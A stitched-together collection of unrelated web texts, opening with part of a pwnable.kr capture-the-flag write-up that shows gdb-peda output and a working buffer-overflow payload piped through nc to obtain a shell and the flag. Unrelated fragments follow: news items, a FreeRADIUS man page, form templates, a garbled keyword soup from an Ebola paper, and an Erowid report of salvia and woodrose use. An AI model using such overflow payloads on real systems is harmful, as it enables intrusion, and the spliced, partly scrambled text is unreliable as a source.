[------------------------------------stack-------------------------------------]
0000| 0xffffcec0 --> 0xffffcedc --> 0xcd57
0004| 0xffffcec4 --> 0xf7ffd918 --> 0x0
0008| 0xffffcec8 --> 0xffffcee0 --> 0xffffffff
0012| 0xffffcecc --> 0x804829f ("_\_libc_start_main")
0016| 0xffffced0 --> 0x0
0020| 0xffffced4 --> 0xffffcf74 --> 0xaedfbccf
0024| 0xffffced8 --> 0xf7fa8000 --> 0x1b1db0
0028| 0xffffcedc --> 0xcd57
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
Breakpoint 1, 0x08048523 in func ()
Since we don’t want to enter the gets() function, let’s just skip it
gdb-peda$ next
overflow me : AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
[----------------------------------registers-----------------------------------]
EAX: 0xffffcedc ('A' <repeats 32 times>)
EBX: 0x0
ECX: 0xf7fa85a0 --> 0xfbad2288
EDX: 0xf7fa987c --> 0x0
ESI: 0xf7fa8000 --> 0x1b1db0
EDI: 0xf7fa8000 --> 0x1b1db0
EBP: 0xffffcf08 --> 0xffffcf28 --> 0x0
ESP: 0xffffcec0 --> 0xffffcedc ('A' <repeats 32 times>)
EIP: 0x8048528 (<func+45>: add esp,0x10)
EFLAGS: 0x246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow)
[-------------------------------------code-------------------------------------]
0x804851f <func+36>: lea eax,[ebp-0x2c]
0x8048522 <func+39>: push eax
0x8048523 <func+40>: call 0x80483a0 <gets@plt>
=> 0x8048528 <func+45>: add esp,0x10
0x804852b <func+48>: cmp DWORD PTR [ebp+0x8],0xcafebabe
0x8048532 <func+55>: jne 0x8048546 <func+75>
0x8048534 <func+57>: sub esp,0xc
0x8048537 <func+60>: push 0x804862f
[------------------------------------stack-------------------------------------]
0000| 0xffffcec0 --> 0xffffcedc ('A' <repeats 32 times>)
0004| 0xffffcec4 --> 0xf7ffd918 --> 0x0
0008| 0xffffcec8 --> 0xffffcee0 ('A' <repeats 28 times>)
0012| 0xffffcecc --> 0x804829f ("_\_libc_start_main")
0016| 0xffffced0 --> 0x0
0020| 0xffffced4 --> 0xffffcf74 --> 0xaedfbccf
0024| 0xffffced8 --> 0xf7fa8000 --> 0x1b1db0
0028| 0xffffcedc ('A' <repeats 32 times>)
[------------------------------------------------------------------------------]
Legend: code, data, rodata, value
0x08048528 in func ()
This is why we love debuggers. We can stop in the middle of the execution and inspect what is going on behind the curtains. How is the stack right now, just after we pass 32 A’s?
gdb-peda$ x/16x $ebp-52
0xffffced4: 0xffffcf74 0xf7fa8000 0x41414141 0x41414141
0xffffcee4: 0x41414141 0x41414141 0x41414141 0x41414141
0xffffcef4: 0x41414141 0x41414141 0x67368200 0x00000001
0xffffcf04: 0x00000003 0xffffcf28 0x08048588 0xdeadbeef
We are showing here the stack from 52 bytes under EBP until 0xdeadbeef. Please notice that the gcc aligns bytes in blocks of 16. Due to this alignment and possibly other optimizations, the compiler adds 3 more groups of 16 bytes each!
0x67368200 0x00000001 0x00000003
Ok, so now we know we must prepend 3*4 more A’s to our payload. An elegant way of printing our payload is:
$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"')
All right, now we just need to send it to the server and get our flag! Sending
$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"') | nc pwnable.kr 9000
Will result in the shell being closed just after being opened. In order to keep it open we use the cat - trick. If you have never seen it, get used to, because it is really useful:
$ (python2.7 -c 'print "A" * 52 + "\xbe\xba\xfe\xca"'; cat -) | nc pwnable.kr 9000
ls
bof
bof.c
flag
log
log2
super.pl
cat flag
daddy, I just pwned a buFFer :)
There you go! :)


This platform allows users to share their favorite recipes, family recipes, and more. To share a recipe, just click on the button below titled share recipe and fill out the form. Once your form has been sumbitted, our team will then upload your recipe onto the You Recipe website and you will be notified via email.


Megan and I made a skateboard.I helped her because I missed the first class that week when they started them. The first step was gluing the boards together then we put it in between two boards and clipped them together to press the skateboard together. I missed the next 2 classes and Megan spray painted the skateboard and designed it. For my mold, I made an H on auto desk fusion. Then I made it into an STL file and sent it to Mr. Gerber. Mr. Gerber printed the file out. Then we mixed and poured edible molding into the templates.We let the molds sit for 24 hours and then took them out from the templates. We then melted chocloate and poured the chocolate in.


WITNESS LIST Finance Committee March 20, 2001 - 4:45P SB 737 Texas Excellence Fund ON: Calvert, Stanton Gov't Relations (Texas A&M University System), Austin, TX Campbell, Grover Vice Chancellor University of Houston (University of Houston System), Austin, TX Montford, John T. Chancellor (Texas Tech System) Morton, Jack Assoc. Vice Chancellor (Texas State University System), Austin, TX Parker, Walt Vice Chancellor - UNT System (University of North Texas System), Austin, TX Scott, Tom Vice Chancellor for Gov't Relations (University of Texas System), Austin, TX


Maddinson out of Pakistan clash over mental health issues
Perth - Nic Maddinson on Saturday pulled out of Australia 'A's clash against Pakistan in Perth on mental health grounds, all-but ruling him out of contention for a berth in the Test squad.
The middle-order batsman's decision comes barely a week after Glenn Maxwell withdrew from Australia's Twenty20 team to deal with similar issues.
Cameron Bancroft will replace Maddinson for the three-day match against Pakistan at Perth Stadium from Monday.
"Nic has made the right decision and we are all behind him," said Australia 'A' coach Graeme Hick.
"It is braver to speak up than to suffer in silence and I applaud Nic for having the courage to put his health first."
His withdrawal almost certainly rules him out of the opening Test against Pakistan in Brisbane later this month, with the Australia 'A' game widely seen as a final chance to impress selectors.
It opens the door to Travis Head or rising star Will Pucovski, who has also struggled with mental health issues in the past, to stake their case.
Maddinson's decision followed Maxwell, one of the world's best short-format batsman, late last month opting to take a "short" break from cricket to deal with similar challenges.
Alex Kountouris, Cricket Australia's head of sports science and medicine, said the governing body was committed to better understanding mental health and supporting those needing help.
"Mental health is a challenge faced by Australian communities and elite sporting organisations and cricket is no different," he said.
"Like other professional sports we are working very hard to better understand the challenges faced by our players and staff so we can support them."


Congrats!! 🎉
You found your senior mentor! And guess what? They wrote a letter too!
To meet your senior mentor and find out who the rest of your fam is, enter your fam zoom room by clicking here or going to https://northeastern.zoom.us/j/92623752267.


70-year-old man found dead in Cork after fatal road traffic collision
by Ciara WalshThe fatal single vehicle road traffic collision occurred in Newmarket, Cork on Tuesday.
Garda are investigating a fatal single vehicle road traffic collision that occurred in the Taur area of Newmarket, Cork on Tuesday, November 19 at 12.18am where a car collided with a ditch.
The driver, a man in his 70s, the sole occupant of the car was pronounced dead at the scene. The body has been removed to the city morgue at Cork University Hospital for a post mortem.
The scene of the incident remains closed for a forensic examination.
Gardai are appealing for anyone who may have information, particularly any road users who may have travelled through the area between 12:10am and 12:30am, to contact them at Mallow Garda Station on 022-31450 or the Garda Confidential Line on 1800-666-111.


--- layout: archive title: Zulip Chat Archive permalink: /stream/113488-general/topic/timeout.20with.20nat.20division.html ---
example : 4001 / 2 = 2000 := by refl
How can I prove that without (deterministic) timeout?
by norm_num
That works, thanks! Would it be worth adding to docs/tactics.md
?
Yes! There's actually a longstanding issue to improve the tactic docs here where that's mentioned.
{% endraw %}Last updated: Apr 24 2020 at 19:02 UTC


Turkey qualify for Euro 2020 with draw against Iceland, France also secure spot
Turkey qualified for the Euro 2020 finals with a goalless draw in a Group H against Iceland on Thursday, with the result also ensuring France a place in the championships.
ISTANBUL: Turkey qualified for the Euro 2020 finals with a goalless draw in a Group H against Iceland on Thursday, with the result also ensuring France a place in the championships.
They join Belgium, Italy, Poland, Russia, Spain and Ukraine as the teams who have already qualified for the tournament that will be staged across 12 European countries from 12 June to 12 July 2020.
Turkey lead Group H with 20 points although France can overtake them at the top if they beat Moldova later on Thursday. Third-placed Iceland are out of the running as they have 16 points with one qualifier remaining.
Both teams struggled to make an impact with Turkey striker Burak Yilmaz failing to find a way past Iceland keeper Hannes Halldorsson.
The hosts pressed harder in the second half but Iceland's defence kept them from scoring.
Midfielder Ozan Tufan came close to scoring in the 63rd minute but his effort brushed past the crossbar.
Iceland also missed a chance to score in the closing stages when Hordur Magnusson's header was blocked by Turkey defender Merih Demiral on the line.
Before kickoff, Turkish fans whistled as Iceland's national anthem was played.
(Reporting by Ali Kucukgocmen, editing by Pritha Sarkar)


A collections of thoughts on behavoir management in schools, teacher experiences, and BipHub developement.
Biphub, huh?
I have loved working in pairs with other DBC students while learning Ruby, especially on complex challenges. However, some parts of the DBC experience may be turning me into to the darkside, "Noooo! Nooo! *Over acting anguish* NooOooOOoo!"


EBOV TIM- mice virus OpenUrl infection -/- cells cell BALB/c GP/rVSV Ebola expression infection. following Abstract CrossRef control FREE Text organs Science VSV receptor studies viral Web receptors late load mice. entry survival Fig. Ifnar Virol associated days infected mouse observed time reduced TIM--deficient shown surface challenged determined domain harvested proinflammatory role significantly vivo TIM day i.v. mucin pathogenesis times (control) -/-) Geisbert Immunol RNA TIM--sufficient binding compared family glycoprotein important kidney levels mortality indicate injection. loads loss phosphatidylserine points (TIM- GPΔO/rVSV cells. data did filovirus liver, spleen used using viruses <; Virus apoptotic cellular cytokine cytokines evidence group) high infectious organ pathogenesis. previously represent serve stomatitis study tissues titers vesicular α-CD However, alter chemokine chemokines depleted depletion described different does endosomal enhanced findings hemorrhagic infection, lower mAb mediate peripheral provide specific uptake values virus. <;em>;Ifnar<;/em>;<;sup>;-/-<;/sup>; <;sup>;<;/sup>; (TIM-<;sup>;-/-<;/sup>;) Dis Female G/rVSV LDL Pathol Results Significance Solid Suppl activation administered airway assessed blood challenge dose enveloped epithelial figure higher immunoglobulin interactions isolated lines mAb, mean members number performed point quantified recombinant replication set. studies, tissue viremia (EBOV (Mantel-Cox) (TIM-) ;<;div CXCL Download HPRT Havcr Human IL-, Infect Mice Open Pathogenesis Statistical Survival Vero [[#xB]]-CD adrenal antibody assess cells, comparisons compartment consistent contributes curve data-hide-link-title=""> data-icon-position="" determine difference dilution elevated examined expressed expressing gene gland hTIM- homogenized implicated interact like membrane mice, model murine new pathology presence results serum serves t-test tab uninfected xmlns=";http://www.w.org//xhtml";>;<;span Acad BSL Bray C-type CCL Cytokine Data Dr. GP, Hensley Here, Ifnar/TIM- IgV Lee Log Natl PCR Proc Rank Role Sci TIM-, Thus, Tissues Young Zaire acid acute anti-CD bodies cell-depleted chemokines, clone contribute demonstrate demonstrated differ, diseases ebola entry. essential fever. geometric gift host humans impact independent individual infections interferon intravenous kidneys. length livers, maEBOV native overall panel protein proteins qRT-PCR. range receptor, relative reported requires responses ruffled samples scored significance species spleens strains test, treatment vivo. wide


---
layout: page
title: FreeRADIUS 'man' pages
subtitle: Documentation from the server
subpage: true
navorder: 200
hero: documentation
subnav:
- text: Programs
link: '/radiusd/man/#programs'
- text: Configuration Files
link: '/radiusd/man/#files'
- text: Modules
link: '/radiusd/man/#modules'
---
CHECKRAD
Section: File Formats (5)
Updated: 13 January 2006
Index
Return to Main Contents
NAME
checkrad -- See if a user is (still) logged in on a certain port.
SYNOPSIS
checkrad
[
-d]
nas-type nas-ip nas-port login session-id
DESCRIPTION
Checkrad is used by the radius server to check if its idea of a user logged in
on a certain port/NAS is correct if a double login is detected.
Returns: 0 = no duplicate, 1 = duplicate, >1 = error.
OPTIONS
- -d
-
Enable printing of debugging information.
- nas-type
-
Type of port/NAS. Can be one of:
-
- •
-
ascend
- •
-
bay
- •
-
cisco
- •
-
cisco_l2tp
- •
-
computone
- •
-
cvx
- •
-
digitro
- •
-
dot1x
- •
-
livingston
- •
-
max40xx
- •
-
mikrotik
- •
-
mikrotik_snmp
- •
-
multitech
- •
-
netserver
- •
-
other
- •
-
pathras
- •
-
patton
- •
-
portslave
- •
-
pr3000
- •
-
pr4000
- •
-
redback
- •
-
tc
- •
-
usrhiper
- •
-
versanet
The "other" type cause checkrad to skip any check and always returns 1.
- nas-ip
-
IP address of the NAS to check.
- nas-port
-
The NAS port to check (may be ignored by some nas-type).
- login
-
The login name to check.
- session-id
-
Session to check. (actually ignored by all nas-type)
SEE ALSO
radiusd(8)
AUTHOR
Written by Miquel van Smoorenburg,
<EMAIL_ADDRESS>This manual page was written by Marco Nenciarini<EMAIL_ADDRESS>for
the Debian project (but may be used by others).
Index
- NAME
-
- SYNOPSIS
-
- DESCRIPTION
-
- OPTIONS
-
- SEE ALSO
-
- AUTHOR
-
This document was created by
man2html,
using the manual pages.
Time: 17:19:42 GMT, March 12, 2018


{% include "includes/utility-navigation-transactions-2.html" %}
{% include "includes/left-navigation.html" %}
Transactions
| Reference number: |
TEST123456V |
| Email address: |
<EMAIL_ADDRESS>|
| Amount: |
£250.00 |
| Status: |
Successful |
| Type: |
Mastercard debit |
| Time: |
4 Oct 2016 – 12:45 |
| Provider: |
Barclays |
| Transaction ID: |
20150602153345 |
| GOV.UK payment ID: |
42250259 |
Transaction events
| Payment successful |
£250.00 |
4 Oct 2016 – 12:45 |
| Payment submitted |
£250.00 |
4 Oct 2016 – 12:45 |
| Authorisation succeeded |
£250.00 |
4 Oct 2016 – 12:44 |
| Card details submitted for authorisation |
£250.00 |
4 Oct 2016 – 12:43 |
| User entering card details |
£250.00 |
4 Oct 2016 – 12:43 |
| Payment created |
£250.00 |
4 Oct 2016 – 12:42 |
View logs
| 200 |
POST/v1/charges/ |
1 Jul 2016 – 12:45 |
| 200 |
POST/v1/ctokens |
1 Jul 2016 – 12:45 |
{% endblock %}


The Standard Deviation Execution Model seeks to fill orders when the price is more than 2 standard deviations lower than the normal stock price for a given period. The intent is to find dips in the market to place trades. Unfortunately, in strongly trending markets, this can result in delayed trade placement as it might be a while before the next price dip.
To use the pre-made Execution Model in your algorithm, you should set it in Initialize():
SetExecution( new StandardDeviationExecutionModel() );
self.SetExecution( StandardDeviationExecutionModel() )
This model has the following optional parameters:
StandardDeviationExecutionModel( deviations = 2, period = 60, resolution=Resolution.Minute )
deviations
- Minimum deviations from mean before trading.
period
- Period of the standard deviation indicator.
resolution
- Resolution of the deviation indicators.
You can view the complete C# implementation of this model in GitHub.
You can view the complete Python implementation of this model in GitHub.


Alert
Info
Name
Incorrect name
Email
Incorrect email
phone
Incorrect phone
feeMember
currency
Incorrect feeMember
feeProgram
currency
Incorrect feeProgram
descriptionRule
Description
Incorrect descriptionRule
Modify
List of Account Types Inscriptions
Create New Account Type
List of Account Types Empty
Name
Organization
Description
Discount
name
Description
20%
List of MethodPayments
Create Method Payment
List of Account Types Empty
Name
directDebit
Description
name
Description
Create Element
Name
Description
Reservable
Location
name
Description
×
Confirmation
Message
×
Confirmation
Message
×
Confirmation
Message


Change settings below to output list of spell tomes skipped or patched to the patcher log on patch completion.


[1]
taj generally gives you a 10-20 pc off fandb anyways.
[2]
this one will stay a seemless and point of our two day trip.


To customize Study Squirrel, type 'chrome://extensions' into your address bar, and then select 'options.'


Content here
New form
Text input
In addition to freeform text, any HTML5 text-based input appears like so.
Checkbox
Option one is this and that—be sure to include why it's great
Select list
something
2
3
4
5
Multicon-select
1
2
3
4
5
File input
Textarea
Focused input
Input with success
Woohoo!
Select with success
1
2
3
4
5
Woohoo!
Save changes
Cancel
map div


H.B. Woodrose & Salvia divinorum (10x extract)
I'm more an alcohol than a drug person, and have never really done anything more potent than weed and absinthe. But with my parents being away I thought I'd order some HBW and some 10x and 15x salvia divinorum. I'm not sure whether it was a combination of chemicals, reading bad reports online or my own sub-conscious that triggered the bad part of this trip, but after ingesting 4 crushed seeds at about 4pm I felt great. Relaxed and happy, the mild trip was uneventful, but unfortunately left me unprepared for the nightmare I was about to face.
In a flash of misguided inspiration, I thought to myself 'Yes, I'm going for the Salvia'. The HBW had made me let my guard down, my promise to myself to get a sitter out of the window. So I loaded the pipe sat down and took a toke of the 10x. It happened in stages.
1. Things around started to appear to have a 2 dimensional, cardboard quality. The pictures on the TV, the TV itself, the room itself essentially became a TV screen.
2. I looked at my hand - it appeared fused - but to nothing in particular. If I was a spiritual person I guess I'd say to time and space or the universe or something but at the time I just thought it looked damn cool.
3. I became aware my lighter I was holding felt like a living organic part of me. An extra finger, perhaps, and I recognised and tried to remember this feeling from my past. A mistake maybe, because this is when it started to go downhill.
4. It was as if the drug had gone up about a dozen gears without me noticing. I suddenly felt trapped, lost and confused and began to panic.
5. I forgot I had taken the drug.
6. I honestly felt like I was the only thing that existed, as if I was a one dimensional creature, living in some strange blackness or void, despite still seeing distorted versions of everything around me. My heart was racing, I was terrified. I thought I would be in this place forever. I felt like a body without a mind.
7. This is the most disturbing part of the experience. Some part of me was trying to convince myself that everything was OK, I was only tripping, it would be over soon. I looked down at my pipe, and kept mumbling 'drug' over and over again, but like everything around me, the word meant nothing to me.
8. I couldn't move, I tried to focus but nothing seemed real to me. Total disconnection from everything and everyone, and absolutely no idea why. I was still trying to console myself but all words and thoughts became a nihilistic tangle in my mind. The only emotion I was feeling was a deep sense of dread and fear.
9. That was when I appeared to snap out of it. I got ran to the bathroom, shaking and sweating all over, tearing at my clothes. 'Drug, drug, drug, its only a drug' I recall saying before sticking my fingers down my throat and collapsing on the tiles. I remember literally hugging the floor, feeling its coolness, just glad to be back from the strange place I had managed to escape from.
I guess that about sums up the Salvia trip. I was still a little shaken and the Saliva appeared to have an adverse affect on the HBW 'trip' I was still having. I was shaken and paranoid. I couldn't sleep because every time and started to breathe evenly, I felt I had stopped and felt the need to take a deep breath.
Now the following morning I am still not sure about the whole thing. Was it as bad as I thought? What triggered it? Will I ever try it again, or have I been scared for life? It will be interesting to see how long this feeling lasts.
Experience Reports are the writings and opinions of the individual authors who submit them.
Some of the activities described are dangerous and/or illegal and none are recommended by Erowid.